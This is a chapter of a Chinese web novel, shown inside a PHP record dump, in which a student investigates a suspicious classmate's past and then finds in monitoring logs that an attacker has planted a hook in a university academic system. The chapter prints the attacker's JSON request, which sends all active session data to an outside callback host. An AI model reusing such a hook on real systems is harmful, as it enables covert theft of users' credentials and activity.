array(5) { ["chapterid"]=> string(8) "49409206" ["articleid"]=> string(7) "7300050" ["chaptername"]=> string(8) "第13章" ["content"]=> string(12658) "选拔赛结束后的第三天,林墨开始查陈逸飞。
不是通过校园系统——校园系统里的陈逸飞太干净了。2023年9月入学,软件工程专业,GPA 3.2,无奖无惩,选课记录平平无奇,宿舍在南区7号楼312室。这些信息他在选拔赛当天就看过了。一个人的校园记录干净到这种程度,本身就是一种异常——大部分本科生多少都有点东西,迟到记录、图书馆超期罚款、选修课退选、社团请假,总得有一两笔。陈逸飞的记录里什么都没有,像一台格式化过的硬盘。不是空的,是被清空过的。这两者有本质区别。空的硬盘从来没用过,清空的硬盘是有人把痕迹擦了。
他换了一条路。
周可然在法国交流期间追踪到的那段含ZDP信号的音频素材,原始来源是"暗网锚点"论坛的资源镜像区。林墨没有直接访问暗网的打算——方远行划过红线,这条不碰——但他可以查另一件事:那段音频素材的公开传播路径。一个东西只要在互联网上出现过,就不可能真正消失。论坛会关,服务器会停,但快照、缓存、转载、引用,这些东西会像化石一样沉积在不同的角落里,只是需要耐心去挖。
"暗网锚点"虽然关了,但资源在关闭前被镜像到了至少三个公开技术论坛。林墨从其中一个国内论坛的存档区找到了那段音频的下载帖。帖子发布于2019年6月,发帖人ID是"渡鸦"——方远行。
方远行在论坛关闭前,亲手把这段音频放到了公开资源区。如果音频里包含了ZDP信号,那意味着两种可能:要么他发布时不知道里面有隐藏信号,要么他知道。如果是前者,方远行是被动的传播者,ZDP信号是别人埋进去的,他只是搬运工。如果是后者——方远行知道音频里有东西,却依然把它放到了公开区,那就意味着他想让更多人听到这段信号,或者至少不介意有人听到。
两种可能性都不让人舒服。
林墨暂时把这个问题搁下了。不是不想,是现在想不出答案。空调出风口对着后颈吹,他伸手调了一下百叶窗的方向,凉气往上偏了偏。屏幕上的搜索结果还停留在发帖记录页面,渡鸦的头像是一只像素风格的鸟,黑底白线,跟苏晚晴用在CTF平台上的校队logo一模一样。那个logo是苏晚晴自己画的,她说过,渡鸦是她选的图腾——"渡鸦是唯一能认出人脸的鸟类,记仇,也记恩。"林墨不知道苏晚晴知不知道方远行用过同一个名字、同一只鸟。
他转而搜索另一个方向:陈逸飞这个名字在2019年之前是否存在于互联网的任何角落。
用的是搜索引擎的时间范围过滤——把结果限定在2019年1月到2023年8月之间,关键词"陈逸飞"加上"安全""CTF""渗透""漏洞""黑客"。前几页跟网络安全毫无关系,大部分指向一个同名画家、一个同名企业高管、一个同名初中生的作文竞赛获奖名单。翻到第六页还是无关内容。第七页出了一条。
一个已经关闭的编程培训机构的网站缓存。Google快照显示的页面标题是"2019年青少年信息安全夏令营·学员作品展示"。页面内容大部分已经无法加载了,图片全是裂图,CSS也没了,只剩下一片白底黑字的裸HTML。但缓存中保留了一份学员名单的片段。名单格式是"姓名(学校)+ 作品名称",其中有一行:
陈逸飞(华清附中)—— 基于机器学习的异常流量检测原型
华清附中。华清大学的附属中学。而华清大学CTF校队"量子"的队长,叫江北辰。
林墨的手指停在键盘上。窗外工科楼的停车场晒得发白,沥青地面上升起一层热气,远处的教学楼轮廓在热浪里微微晃。七月底的苏州,下午三点,气温至少三十八度。空调在头顶嗡嗡地吹,但他的后背出了一层薄汗——不是热的。
一个在2019年参加过信息安全夏令营的高中生,名字是陈逸飞,学校是华清附中。如果这是同一个人——时间线对得上,2023年入学大学的话,2019年他大概十五岁,初三或高一。他的作品题目是"基于机器学习的异常流量检测"。林墨在安全实训课上做过类似的课题,那是大二下学期的事,他花了两周才搞明白特征工程的基本概念。一个十五岁的高中生做出这种东西,意味着他至少在初中阶段就接触了网络协议和编程,而且不是浅尝辄止的少儿编程兴趣班水平——能做异常流量检测,得理解TCP/IP栈,得会抓包,得懂至少一种机器学习框架,还得有足够的数据意识。这不是天赋能解释的全部,背后一定有人教。
但更让林墨在意的不是作品。是那个夏令营的背景。
他搜了"2019年青少年信息安全夏令营"。结果很少——两篇当时的新闻报道和一篇已删除的活动回顾页面。新闻稿写得干巴巴的,像公文通稿,说了半天"培养青少年网络安全意识""助力国家安全人才培养"之类的话,具体内容一笔带过。从碎片信息里林墨拼出了大致轮廓:这个夏令营由华清大学网络空间安全学院主办,面向全国高中生招生,为期两周,内容包括网络安全基础、CTF入门和实践项目。学术负责人是华清大学网络安全学院的教授,名字没提。
但活动回顾页面的缓存里有一张合影照片。
照片像素很低,二十几个穿统一白色T恤的青少年站成两排,背后是华清大学的校门。七月的阳光把每个人的脸都照得发白,有人眯着眼,有人笑得龇牙。前排左三的位置站着一个少年——脸型偏圆,个子不高,比旁边的男生矮了半个头,嘴角带着一丝不太像那个年纪的沉静。他没笑。
林墨把照片放大。像素在放大中迅速崩解,色块糊成一片,但他还是辨认出了那个少年的五官轮廓。跟坐在312教室第二排、用curl命令手搓HTTP请求的那个人,是同一张脸。只是照片里的少年脸更圆一些,下巴的线条还没长开。但眉骨的弧度、鼻梁的走势、嘴唇抿起来的那条线——这些东西是骨骼决定的,四年不会变。
陈逸飞跟江北辰出自同一个体系。
华清附中、华清大学网络安全学院主办的夏令营、华清大学CTF校队"量子"。三个节点,一条线。陈逸飞从高中起就接受了华清体系的安全训练,江北辰是这个体系的标杆。两个天才少年在同一个夏令营里待过两周,可能一起上过课,可能一起做过项目,可能彼此认识。夏令营的名单里没有江北辰——他可能不需要参加,他本身就是那个体系培养出来的成果,年纪大一点的话甚至是助教。
那他为什么出现在苏科大?
林墨靠回椅背,盯着天花板上的空调管道。管道上结了一层冷凝水,偶尔有一滴掉在文件柜顶上,发出一声闷响。一个被华清体系培养了好几年的人,高考的时候没有去华清。要么是成绩不够,要么是主动选择。如果是成绩不够——以他的技术水平,不太可能是高考考不出分来,更可能是某种非成绩因素。如果是主动选择——为什么?华清大学网络安全学院是全国第一,CTF校队是全国冠军,资源、导师、比赛机会,哪一样都比苏科大强。一个有能力去华清的人选择了不来,这件事本身就是一个问号。
不是普通的问号。是那种你在审题的时候突然发现的、出题人故意留的扣——看起来是干扰项,实际上可能才是解题的钥匙。
他把搜索结果逐条截图,存进加密文件夹。截图存到第二张的时候他停了一下,想了想,又把缓存的URL也记了下来。Google快照随时可能失效,这些证据不存就没了。他把文件夹命名为"CYF_726"——陈逸飞的首字母加日期,不是习惯,是本能。在安全实训课上养成的习惯:文件名不要包含明文敏感信息,万一哪天有人翻你的硬盘,至少多一层屏障。
他没把这件事告诉苏晚晴。不是因为不信任——这三天里她和他在监控、分析、讨论上的配合已经足够建立基本的工作信任——而是因为他在等。陈逸飞的真实来历可能会影响整个团队的信任结构,在确认之前,知道的人越少越好。有些信息一旦说出口就收不回来,像倒进水里的墨水。更何况,如果陈逸飞真的跟华清体系有关,而华清体系又跟方远行有千丝万缕的联系——苏晚晴和方远行之间的关系,本身也是一条需要谨慎对待的线。他不想让任何人因为过早知道某件事而做出不理性的判断。
他关掉搜索页面,打开另一个窗口——校园网监控面板。端口镜像已经运行了六天,检测脚本累计捕获了八十九条异常请求,其中三十一条携带ZDP前缀的Trace-ID。攻击者的行为模式已经比较清晰了:每隔一天凌晨访问一次,每次查一个学号段,数据拉取量稳定在每次两千条左右。像一个上夜班的质检员,定时定量,从不贪多,从不逾矩。这种纪律性本身就是一种信号——业余攻击者会忍不住多查、乱查、改频率,因为他们没有目标,只是在探索。有纪律的攻击者知道自己要什么、要多少、什么时候收手。他们是来干活的,不是来玩的。
但今天凌晨的日志里出现了一个变化。
攻击者没有查成绩。他做了一件新的事——向教务系统发送了一个POST请求,目标接口是/api/internal/config_update。这个接口在API文档里不存在,苏晚晴的脚本之前没有监控过它。请求体是一段JSON数据,林墨把它格式化后看到了以下内容:
{
"module": "schedule_sync",
"action": "enable",
"target": "all_active_sessions",
"callback":"https://api.zdp-shadow.net/inbound",
"debug": "true"
}
他盯着这段JSON看了十几秒。
攻击者在教务系统里安装了一个回调钩子。从现在开始,所有活跃会话的操作——不只是成绩查询,而是所有的选课、登录、密码修改——都会被实时推送到api.zdp-shadow.net这个外部服务器。
他升级了。从被动嗅探变成了主动窃取。
之前查成绩是翻你的抽屉,现在是在你房间装了窃听器。性质完全不同。被动嗅探还可以解释为信息收集,主动窃取意味着攻击者开始建立持续性的数据通道——他要的不是一次性数据,是实时流量。而且这个钩子的设计很讲究:debug字段设为true,说明他故意用了调试模式作为伪装,一旦有人发现这个接口调用,第一反应会以为是系统内部的调试行为,而不是外部攻击。这是一层掩护。攻击者不仅懂技术,懂系统的薄弱点,还懂人的认知盲区。
林墨拿起手机,给苏晚晴发了一条消息:
教务系统被植了回调钩子。目标:全活跃会话。外发地址zdp-shadow.net。今晚必须见方老师。
苏晚晴的回复在十五秒后到达:
七点。老地方。
老地方是方远行办公室。他们已经习惯了这个时间——方远行每周二和周四晚上七点以后会在办公室待到很晚,名义上是"处理实验数据",实际上就是给林墨和苏晚晴留出汇报窗口。这个安排从来没在纸面上确认过,方远行也没明说,但每次他们七点敲门,办公室的门都是虚掩着的,灯开着,茶杯里泡着枸杞。
林墨看了一眼时间,下午五点四十七。离七点还有一个多小时。他把监控面板的数据导出了一份完整的日志备份,压缩加密,存在本地。然后他关掉屏幕,靠在椅背上闭了一会儿眼。
眼皮底下是那张合影照片的残影。二十几个穿白T恤的少年站在华清大学校门前,阳光很烈,有人笑,有人眯眼。前排左三那个没笑的少年,跟现在坐在他斜后方两排的陈逸飞,隔了四年,隔了一千多公里,隔了至少两个他还没搞懂的秘密。而所有这些线——ZDP信号、方远行的渡鸦、华清体系的夏令营、陈逸飞的反常入学——正在以一种他还没看清的方式,缓慢地收束到同一个点上。
他睁开眼。窗外停车场的热浪还在,远处的教学楼已经不晃了——风起来了。" ["create_time"]=> string(10) "1785963695" }